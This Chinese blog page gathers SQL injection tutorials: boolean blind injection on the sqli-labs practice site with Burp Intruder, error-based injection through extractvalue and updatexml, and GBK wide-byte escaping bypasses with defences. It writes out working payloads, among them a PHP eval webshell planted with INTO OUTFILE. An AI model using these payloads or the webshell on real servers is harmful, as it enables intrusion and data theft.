分类 sql注入 下的文章

前言:

关于burpsuite的安装请自行百度,不要使用kali里面自带的,那个不是高级版会有功能限制

本次实验使用sqli-labs的第八关

所谓的盲注大概就是你sql注入后不会显示出执行的具体结果

0x00:经过闭合符测试发现单引号 ' 是有效闭合符.

我们使用以下payload进行盲注查询:

' and ascii(mid(database(),1,1))=n--+

我来解释下上面payload的作用,因为使用 and 把id=1' 和 ascii(mid(database(),1,1))=n这两个条件连在了一起,所以当两个都为真的时候网页会显示 You are in……….. ,当有任何一个错误都会没有显示。所以我们要做的就是使 ascii(mid(database(),1,1))=n 这句为真。

[ascii函数] 用法:ascii('str'),返回字符串str的最左字符的ASCII数值。如果str为空字符串 ,返回0 。如果str为NULL, 返回NULL 。 ASCII()返回数值是从0到255。 比如 下面,因为字符串"str"最左边是“s”,所以返回了s在ascii表中的数值115。

[mid函数]这个函数用于截取指定的字符或者字符串, 用法:mid(column_name,start[,length]),括号中有三个参数,第一个是要操作的字符串,第二个是要截取的开始位置(从1开始),第三个是要截取的长度。比如下面,我们需要进行操作的字符串是“12345678”,然后截取位置从1开始,截断2个字符,于是就返回了“12”。

0x01:那么当我们执行一次这个payload的时候,发生了什么呢

其实就是数据传入后端后,数据库先是执行了 database(),查到当前工作的数据库是'security',然后mid('security',1,1) 截除了 's'字符,随后ascii函数又进行了 ascii('s'),最终结果输出了115,然后115=115为真,所以网页显示you are in.....

0x02:基于这个原理,那么我们只要对mid参数进行修改,就能截取到数据库查询的返回数据中的随意的字符串,比如在 select mid(database(),1,1)中,“database()”返回了查询结果“security”,那么mid('security',1,1)='s', mid('security',2,1)不就是 'e' 了吗?然后 ascii(mid(database(),1,1))=n 的这个 'n'是截取字符所在ASCII码表里面的数值,然后ASCII值33~126是特殊字符和大小写字母和10个基本阿拉伯数字,所以n的取值范围可以是33~126。

0x03:使用burpsuite进行盲注的具体方法,

1.截断http请求

2.发送到自动化攻击模块Intrude

3.攻击目标和端口

4.设置payload位置

5.设置payload

6.设置线程及开始

7.结果分析

0x03:剩下的使用burpsuite进行爆破 查用户,查路径,查版本,查表之类的原理都一样,返回的数据不止1列那就使用 group_concat concat limit 等函数进行操作。

利用需要的条件有:

1、对web目录需要有写权限能够使用单引号

2、知道绝对路径

3、没有配置-secure-file-priv(在mysql的配置文件中需要有一句 secure_file_priv='' ,没有的话自行添加或修改)

当知道路径时,可以直接用?id=1 union select "<?php @eval($_POST['123']);?>" into outfile"C:/phpStudy/WWW/a.php"

或者采用PHPmyadmin,选择一个数据库如test,在数据库中新创建一个表aa,在aa中插入一个数据<?php @eval($_POST['123']);?>,然后用select * from aa into outfile 'C:/phpStudy/WWW/a.php';   #将aaa中的数据导出到文件a.php

 

语句执行成功后利用菜刀进行连接

网页出现乱码的原因:

客户端与数据库的数据传输处编码、数据库存储处编码,两者编码不同,就会出现乱码。还有一种情况,PHP没有向浏览器发送header头设置,告诉浏览器用用什么编码来展现,导致乱码。

通常,数据库在创建数据表的时候,就已经设置好了数据库存储端的字符编码。可以看到name字段设置的是gbk,而我们注入的时候,脑子中构造的语句都是select xxx from xxx where name="{$user_name}"这样类似的语句。(下面的gbk支持所有常用中文的简体和繁体,utf-8包含所有的字符,至于为何要这么设置,我个人猜测可能是为了保证数据的唯一性吧。有懂数据库的大佬可以在下方留言,因为感觉这方面转换编码挺复杂的)

正常情况下,整个数据的走向大概如下:

请求过程:用户提交数据--->经过中间件--->到达web应用--->web应用再作为客户端,向数据库服务器发送请求--->数据库服务器接受请求,执行web应用发送的sql语句

web应用作为客户端,向数据库服务器发送请求的时候,会以自身php文件默认的编码,来对信息进行编码,接着,再向数据库发送请求,那么这肯定有一个客户端和服务器建立连接的过程,这个建立连接的过程也是统一编码的过程,依靠的mysql的两个内部变量character_set_client和character_set_connection,只有将character_set_client和character_set_connection的变量值(也就是编码方式)都设置成相同的值,那么才不会出现乱码(是在数据库端进行设置)

之后,服务器将处理结果,以客户端能理解的编码方式,再传给客户端(这里的客户端我理解是web应用),按照上面的来看,客户端能理解的就是gbk了,所以,character_set_results就设置成gbk,这就是服务器返回给客户端的按照gbk编码的结果

而通常程序员在php里写的set names utf8也就是上面这三条语句同时执行的效果。同时,我最上面提到,网页的编码也可能造成乱码,那是因为浏览器端的编码和PHP返回结果(或者说是打印结果)的编码不一致导致的。解决方法就是php用header()来告诉浏览器端用什么编码来解码。这样,也就同时解决了浏览器端可能出现的乱码问题。

宽字节注入的问题就是出在这里:

若数据库端设置了character_set_client为gbk,character_set_connection为gbk,那么php代码接受到的$bar为 %df%27 的时候

addslashes()将用户提交上来的url编码的 %df%27进行解读,发现%27是单引号的意思,所以就加上了转义字符\进行转义,于是就变成了%df%5c%27,这里的%5c就是\的url编码后的形式。问题就在这里形成了,PHP代码中有set names GBK,那就代表character_set_client,character_set_connection,character_set_results的值都是gbk,而php代码执行mysql($sql)的时候,会进行编码转换!

重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在这次编码中,%df%5c被合并成了一个新的字节,而%27则被当做单引号,这样就实现了闭合!

通过查询gdk编码表,可以看到%df%5c就是那个字符(我不认识,好像是运气的运?)这样的话,由于这里的编码变成了新的字符,那么到数据库端执行的语句就成了select xxx from xxx where name='运' and 1=1-- 实现了闭合,也实现了绕过代码层的过滤。

再总结一下:

当一个Mysql连接请求从客户端传来的时候,服务器认为它的编码是character_set_client,然后会根据character_set_connection把请求进行转码,从character_set_client转成character_set_connection,然后更新到数据库的时候,再转化成字段所对应的编码如果使用了set names指令,那么可以修改character_set_connection的值,也同时会修改character_set_client和character_set_results的值,当从数据库查询数据返回结果的时候,将字段从默认的编码转成character_set_results

另外,据我查阅相关资料,得知网站的正常开发都是:

将一些用户提交的GBK字符使用iconv函数(或者mb_convert_encoding)先转为UTF-8,然后再拼接入SQL语句

像这种情况,我搜集资料的时候,看到有人博客上是这么写的

实际上,我想说,不加那个\不是也是同样的效果吗?还是说GBK转成URF8加个\是为了凑字符?不管了,这里就先记着吧。如果我的想法实施的时候错误了,那就再加个\去尝试。

最后,网站如何才能防止这种宽字符注入攻击呢?

(1)使用mysql_set_charset(GBK)指定字符集

(2)使用mysql_real_escape_string进行转义

原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?

就是使用mysql_set_charset进行指定。

原文地址

函数解释:
  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串。

payloaod:

  and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));

 extractvalue注入的原理:依旧如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。

首先了解下updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 
作用:改变文档中符合条件的节点的值

用MySQL测试一下

新建的user表如图:

查看表所属的数据库为test:

构造注入语句:select name from user where id=1 and updatexml(1,concat('~',(select database()),'~'),3);

发现注入成功,成功爆出数据库名。

解释:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。